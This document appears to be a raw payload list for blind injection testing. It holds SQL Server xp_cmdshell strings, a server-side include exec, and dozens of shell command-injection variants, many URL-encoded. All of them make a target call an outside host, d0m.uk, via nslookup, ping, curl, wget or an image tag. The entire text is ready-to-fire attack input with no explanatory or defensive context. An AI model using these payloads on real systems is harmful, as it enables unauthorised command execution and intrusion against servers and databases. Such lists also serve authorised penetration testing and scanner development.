a'exec master..xp_cmdshell 'nslookup d0m.uk'-- a"exec master..xp_cmdshell "nslookup d0m.uk"-- '"> ; DECLARE @command varchar(255); SELECT @command='ping d0m.uk'; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as 'STEP' %3C%22img src='https://d0m.uk'%22%3E <!--#exec%20cmd="nslookup%20d0m.uk"--> ;nslookup d0m.uk ;system('nslookup d0m.uk') |nslookup d0m.uk ||nslookup d0m.uk \nnslookup d0m.uk `nslookup d0m.uk` ${nslookup d0m.uk} a);nslookup d0m.uk %0Anslookup%20d0m.uk & nslookup d0m.uk & %0a nslookup d0m.uk %0a $;nslookup d0m.uk $(`nslookup d0m.uk`) | curl http://d0m.uk & curl http://d0m.uk ; curl http://d0m.uk && curl http://d0m.uk || curl http://d0m.uk | wget http://d0m.uk & wget http://d0m.uk ; wget http://d0m.uk && wget http://d0m.uk || wget http://d0m.uk echo ''// XXXXXXXXXXX